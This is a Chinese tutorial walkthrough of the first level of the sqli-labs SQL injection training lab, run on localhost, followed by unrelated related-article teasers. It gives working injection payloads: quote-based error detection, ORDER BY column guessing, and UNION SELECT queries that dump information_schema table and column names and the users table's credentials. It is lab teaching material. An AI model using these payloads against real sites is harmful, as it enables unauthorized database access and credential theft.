网络安全04-sql注入靶场第一关

目录

一、环境准备

1.1我们进入第一关也如图:

​编辑 

二、正式开始第一关讲述

2.1很明显它让我们在标签上输入一个ID,那我们就输入在链接后面加?id=1

​编辑 2.2链接后面加个单引号(')查看返回的内容,127.0.0.1/sqli/less-1/?id=1',id=1

三、解释为什么单引号

四、解释--+

五、漏洞探究

六、优化探究


一、环境准备

sql注入环境,这个环境网上很多教程,其大部分基本都是小皮面板加漏洞环境放在WWW目录下,搜一下很容易就搭建出来了,这里就不详细讲述了,最后搭建下来的图片如图所示

1.1我们进入第一关也如图:

二、正式开始第一关讲述

2.1很明显它让我们在标签上输入一个ID

那我们就输入在链接后面加?id=1

http://127.0.0.1/sqli/Less-1/?id=1

 2.2链接后面加个单引号(')查看返回的内容

127.0.0.1/sqli/less-1/?id=1',id=1

三、解释为什么单引号

可以见得我们是有报错点的,那么有报错点就必定有注入,根据这一点我们可以判断此网站有注入漏洞,而前面为什么加一个单引号在这里我也进行简单的描述,如下面所述

四、解释--+

在SQL中,-- 后面跟着至少一个空格是一种注释符号,用来注释掉其后的所有内容,直到行尾。这意味着在该符号之后的SQL代码将不会被数据库执行。在SQL注入攻击中,这个特性被用来终止原有的SQL语句的一部分,从而让攻击者插入的恶意代码生效。 

五、漏洞探究

5.1当我们输入变为

http://127.0.0.1/sqli/Less-1/?id=1' and 1=1; --+

5.2我们回馈的结果变为正常

5.3如何猜几个字段

那既然我们已经通过单引号闭合,肯定id存在注入后,下面就需要猜测字段,数据库,表名,列名等等,需要猜测这个数据库是多少个字段的,由于此处是MySQL数据库,所以使用order by命令进行字段的猜测,我们在使用order by猜测字段的时候,先用大数字然后在用二分法判断(如,先来个10,如果不是10再猜5,如果不是5就猜2或3以此类推)
先来猜测10个字段,看看返回的内容是什么:

5.3.1比如我们猜10:

?id=1' order by 10;--+

5.3.2接下来二分法猜5:

?id=1' order by 5;--+

5.3.3 接下来猜3:

?id=1' order by 3;--+

当我们知道其表位3列,即可使用sql的联合查询对其数据库进行命令操作

select * from users where id='-1' union select 1,2,version();

select后面的1,2,3是获得的字段数(上面通过order by查出了表的字段为3,)

pass:这里的id=-1而不是为1,为什么-1,我们通过mysql命令操作来解释:(ok联合查询版本号出来了)

从命令返回的内容可以发现,union操作是把select语句的结果合并到一个结果集中,第一个select我们查询了users表中id为1的内容,第二个select,我们在第三列中查询了mysql的版本号,如果我们在url中的输入的是id=1',那么页面返回到内容也是第一次select查询的内容;
故我们需要让其id值不存在,让其现实第二个select查询的内容;

根据以上内容,我们可以执行数据库命令;mysql常用函数:version() 数据库版本;user() 数据库用户名;database() 数据库名

5.4举个例子

查询一下数据库名和数据库用户名:

?id=-1' union select 1,user(),database();--+

 5.5构造查询表名: 

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();-- +

  1. FROM information_schema.tables:这里指定了要从哪个表中选取数据。information_schema.tables 存储了数据库中所有表的信息。

  2. WHERE table_schema=DATABASE():这个条件用于限制结果只显示当前数据库的表名。DATABASE() 函数返回当前数据库的名称。

5.6内部具体使用函数略讲

group_concat()是mysql的一个分组合并函数,通过这个函数可以把查询出来的表合并到一起现实,如果没有该函数,那么返回的内容如下:

pass: 如果没有该函数,那么查询的内容将是多行,网页上面无法显示完整,故需要使用该函数;

六、优化探究

6.1上面是猜到3个字段,不够优雅,来优雅一点

这里补充一个知识点,数据库自带的库

其中的information_schema为MySQl默认数据库,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列;

其中table_name为表名,table_schema为表所有者,如果要查询列名可以用column_name;
当我们知道表名后就可以查表中的列名及内容;查表内容,当然是要查询users表中的内容了,构造语句;

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +

 成功获取其users表中的列名,从列名中发现了usernamepassword,对这两个列的字段内容进行查看,构造语句;

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;-- +

6.2知识点补充0x3a

 其中0x3a主要是为了让用户名和密码通过冒号分割开来以便区分,0x为16进制标志,3a十六进制代表ascii码中的:,通过添加冒号更好区分用户名和密码,通过查询usernamepassword成功获取用户名及密码。如果不是0x3a来区分,我们不好区分:

?id=-1' union select 1,2,group_concat(id,username,password) from users;-- +

 

6.3总结

至此,两种方法我们注入出第一关的账号密码,当然方法很多,期待大家补充 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/654860.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

系统架构设计师教程(二十)系统架构设计师论文写作要点

系统架构设计师论文写作要点 20.1 写作注意事项20.1.1做好准备工作20.1.2 论文写作格式20.2 如何解答试题20.2.1 论文解答步骤20.2.2论文解答实例20.3 论文写作方法20.3.1 如何写好摘要20.3.2 如何写好正文20.3.3 摘要和正文的关系20.4 常见问题及解决办法20.1 写作注意事项 撰…

sqli-labs-master less-1 详解

目录 关于MySQL的一些常识 information_schema 常用的函数 sqli-labs-master less-1 分析PHP源码 测试 关于MySQL的一些常识 information_schema information_schema 是 MySQL 数据库中的一个元数据(metadata)数据库,它包含…

使用Excel计算--任务完成总工作日时长

(Owed by: 春夜喜雨 http://blog.csdn.net/chunyexiyu) 引言 计算任务完成时间周期,和计算金钱一样,是一个比较细致严谨的工作。 通常,我们可能以为,完成周期形如: 任务完成周期 任务结束时间 - 任务开始时间 但是…

C++ 数论相关题目 求组合数Ⅱ

给定 n 组询问,每组询问给定两个整数 a,b ,请你输出 Cbamod(1097) 的值。 输入格式 第一行包含整数 n 。 接下来 n 行,每行包含一组 a 和 b 。 输出格式 共 n 行,每行输出一个询问的解。 数据范围 1≤n≤10000 , 1…

PiflowX组件-FileWrite

FileWrite组件 组件说明 往文件系统写入。 计算引擎 flink 组件分组 file 端口 Inport:默认端口 outport:默认端口 组件属性 名称展示名称默认值允许值是否必填描述例子pathpath“”无是文件路径。hdfs://server1:8020/flink/test/text.txtfo…

方法、数组

方法 是语句的集合,在一起执行一个功能 它是解决一类问题的步骤的有序集合 包含于类或对象中 在程序中创建,在其他地方被引用 设计方法的原则:方法的本意是功能块,就是实现某一个功能的语句块的集合。设计时,最好保持…

【ArcGIS微课1000例】0096:dem三维块状表达(层次地形模型)

文章目录 一、DEM表达方式二、层次模型表达三、注意事项一、DEM表达方式 DEM数字高程模型的表达方式通常有以下4种: 1. 规则格网 2. 不规则三角网 3. 等高线 4. 层次地形模型 作为栅格地理数据,DEM 数据具有2.5维的特征,能够以三维表面的形式进行三维空间表达。但受其数…

IndexedDB查询

Indexeddb 创建、增删改查_indexdb 删除表-CSDN博客本地数据库IndexedDB - 学员管理系统之条件筛选&#xff08;四&#xff09;_indexdb条件查询-CSDN博客 <div align"center"><input type"text" id"input_search"> <button id&q…

在Visual Studio 2022中将源文件扩展名改为 .c 后,没有显示 #define _CRT_SECURE_NO_WARNINGS 1?

一、问题 在Visual Studio 2022中将源文件扩展名改为 .c 后&#xff0c;没有显示 #define _CRT_SECURE_NO_WARNINGS 1&#xff1f; 二、解答 对于使用了不安全的C运行时库函数&#xff08;如strcpy、scanf等&#xff09;而触发的安全警告&#xff0c;编译器不会默认包含_CRT_S…

C#颜色拾取器

1&#xff0c;目的&#xff1a; 获取屏幕上任意位置像素的色值。 2&#xff0c;知识点: 热键的注册与注销。 /// <summary>/// 热键注册/// </summary>/// <param name"hWnd">要定义热键的窗口的句柄 </param>/// <param name"id…

系统架构设计师-22年-上午试题

系统架构设计师-22年-上午试题 更多软考资料 https://ruankao.blog.csdn.net/ 1 ~ 10 1 云计算服务体系结构如下图所示&#xff0c;图中①、②、③分别与 SaaS PaaS Iaas相对应&#xff0c;图中①、②、③应为(1) #mermaid-svg-JFP5ovjA5J3LheS6 {font-family:"trebuch…

【python】符号运算

python的符号运算主要依靠sympy(symbol py)库 1.【符号变量】和【符号函数】 有两种方法&#xff1a;sp.symbols或sp.var 1.1.符号变量 import sympy as sp x,y sp.symbols(x,y) # 定义符号变量x,y #-------------- sp.var(x1,x2&#xff0c;positive True,integer Tru…

【大厂AI课学习笔记】1.3 人工智能产业发展(1)

我国人工智能政策&#xff0c;分为5个阶段。从探索期&#xff0c;到后面的4个阶段。 MORE:&#xff08;以下为文心一言4.0的参考内容&#xff0c;和腾讯课程资料的分阶段&#xff0c;略有不同&#xff09; 我国的人工智能政策发展可以大致分为以下几个阶段&#xff0c;每个阶段…

C/C++ - 内存管理(C++)

堆栈 C中的栈和堆是用于存储变量和对象​​的两个主要内存区域。栈是一种自动分配和释放内存的区域&#xff0c;用于存储局部变量和函数调用的上下文。栈上的内存分配和释放是自动进行的&#xff0c;无需手动管理。堆是动态分配内存的区域&#xff0c;用于存储动态创建的对象和…

【UE 材质】闪电材质

效果 步骤 1. 新建一个材质这里命名为“M_Lighting” 打开“M_Lighting”&#xff0c;设置混合模式为半透明&#xff0c;着色模型为无光照 在材质图表中添加如下节点 其中&#xff0c;纹理采样节点的纹理是一个线条 此时预览窗口中效果如文章开头所示。

wordpress找不回密码怎么办?4种方法设置新密码

有些WordPress站长太久不登录后台了&#xff0c;所以就忘记了管理员登录密码&#xff0c;这种情况我们应该怎么找回密码呢&#xff1f;或者设置一个新密码呢&#xff1f;下面boke112百科就跟大家分享4种方法设置WordPress新密码。 方法一、登录页面的“忘记密码&#xff1f;”…

基于DistFlow潮流的配电网故障重构MATLAB程序

微❤关注“电气仔推送”获得资料&#xff08;专享优惠&#xff09; 简介 程序采用适用于辐射状网络的DistFlow潮流模型&#xff0c;可输入任意故障线路编号&#xff0c;得到优化重构结果。程序加入了辐射状和连续状约束&#xff0c;保证网络连通性和辐射性&#xff0c;改换成…

85 C++对象模型探索。数据语义学 - 继承多个类,且是虚基类的数据内存模型分析。虚基类表,虚基类表指针

前面我们分析了 继承多个类的情况。上一次分析的这样的情况&#xff1a; 今天看虚基类。先复习一下虚基类&#xff1a;类似下面这样的图 复习虚基类可以解决的问题&#xff1a; 在这之前先要复习一下多继承同一个爷爷类时带来的问题 空间问题 效率问题 二义性问题 //虚基类问…

【一】esp32芯片开发板环境搭建

1、esp32的源码在github上的地址 不同的芯片支持的源码版本不一样&#xff0c;需要根据自己的实际的esp32开发板的芯片下载不用版本的代码 esp32支持多种开发方式&#xff0c;如arduino&#xff0c;ESP-IDF等。官方推荐使用idf开发&#xff0c;ESP-IDF 是乐鑫官方推出的物联网开…

【陈工笔记-Transformer】GAMLP图注意力多层感知器中注意力机制的理解

基本信息 标题&#xff1a;图注意力多层感知器 链接: Graph Attention Multi-Layer Perceptron | Papers With Code 作者&#xff1a;Wentao Zhang,Ziqi Yin,Zeang Sheng,Yang Li,Wen Ouyang,Xiaosen Li,Yangyu Tao,Zhi Yang,Bin Cui 要点记录 问题&#xff1a; 图神经网络…